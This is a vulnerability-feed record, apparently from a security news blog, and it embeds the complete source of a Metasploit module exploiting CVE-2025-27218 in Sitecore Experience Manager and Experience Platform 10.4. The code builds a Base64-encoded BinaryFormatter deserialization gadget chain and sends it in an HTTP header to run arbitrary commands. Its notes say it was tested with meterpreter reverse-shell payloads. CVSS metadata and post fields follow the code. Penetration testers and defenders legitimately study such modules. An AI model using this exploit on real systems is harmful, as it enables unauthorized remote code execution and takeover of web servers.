{“lastseen”:”2025-08-29T19:22:46″,”description”:”This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience …”,”published”:”2025-08-29T18:53:51″,”modified”:”2025-03-28T18:50:06″,”type”:”metasploit”,”title”:”Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-WINDOWS-HTTP-SITECORE_XP_CVE_2025_27218-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-27218″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n\\n Rank = ExcellentRanking\\n\\n include Msf::Util::DotNetDeserialization\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::CmdStager\\n include Msf::Exploit::Powershell\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience\\n Platform (XP) 10.4 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Dylan Pindur’, # Discovery\\n ‘machang-r7’ # Module Creator\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-27218’],\\n [‘URL’, ‘https:\/\/support.sitecore.com\/kb?id=kb_article_view\\u0026sysparm_article=KB1003535’],\\n [‘URL’, ‘https:\/\/attackerkb.com\/topics\/Dyo4zUm2tv\/cve-2025-27218’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2025-01-06’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64, ARCH_CMD],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Windows Command’,\\n {\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :windows_command\\n # tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘PowerShell Stager’,\\n {\\n ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64],\\n ‘Type’ =\\u003e :psh_stager\\n # tested with windows\/x64\/meterpreter\/reverse_tcp\\n }\\n ]\\n ],\\n ‘DefaultOptions’ =\\u003e {\\n ‘RPORT’ =\\u003e 443,\\n ‘SSL’ =\\u003e true\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n register_options([\\n OptString.new(‘TARGETURI’, [true, ‘Path to the vulnerable endpoint’, ‘\/’])\\n ])\\n end\\n\\n def check\\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(target_uri.path),\\n ‘method’ =\\u003e ‘GET’\\n })\\n\\n if res\\u0026.code == 200 \\u0026\\u0026 res\\u0026.get_html_document\\u0026.at(‘\/\/title’)\\u0026.text\\u0026.strip == ‘Welcome to Sitecore’\\n CheckCode::Detected(‘The target is running SiteCore.’)\\n else\\n CheckCode::Safe(‘The target does not appear to be running SiteCore.’)\\n end\\n end\\n\\n def exploit\\n case target[‘Type’]\\n when :windows_command\\n execute_command(payload.encoded)\\n when :psh_stager\\n execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))\\n end\\n end\\n\\n def execute_command(cmd, _opts = {})\\n sploit = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(\\n cmd,\\n gadget_chain: :WindowsIdentity,\\n formatter: :BinaryFormatter\\n ))\\n\\n # Build HTTP request with malicious header\\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(target_uri.path),\\n ‘method’ =\\u003e ‘GET’,\\n ‘headers’ =\\u003e {\\n ‘Thumbnailsaccesstoken’ =\\u003e sploit\\n }\\n })\\n\\n if res \\u0026\\u0026 res.code == 200\\n print_good(‘Server responded with 200, this probably means it worked.’)\\n else\\n print_error(\\”Server didn’t respond with 200. Try setting the target URL to a valid page.\\”)\\n end\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/http\/sitecore_xp_cve_2025_27218.rb”,”cvss”:{“score”:5.3,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/http\/sitecore_xp_cve_2025_27218\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-29T19:22:46″,”description”:”This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience …”,”published”:”2025-08-29T18:53:51″,”modified”:”2025-03-28T18:50:06″,”type”:”metasploit”,”title”:”Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-WINDOWS-HTTP-SITECORE_XP_CVE_2025_27218-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-27218″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,22,12,21,169,13,7,11,5],"class_list":["post-15123","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-53","tag-exploit","tag-medium","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n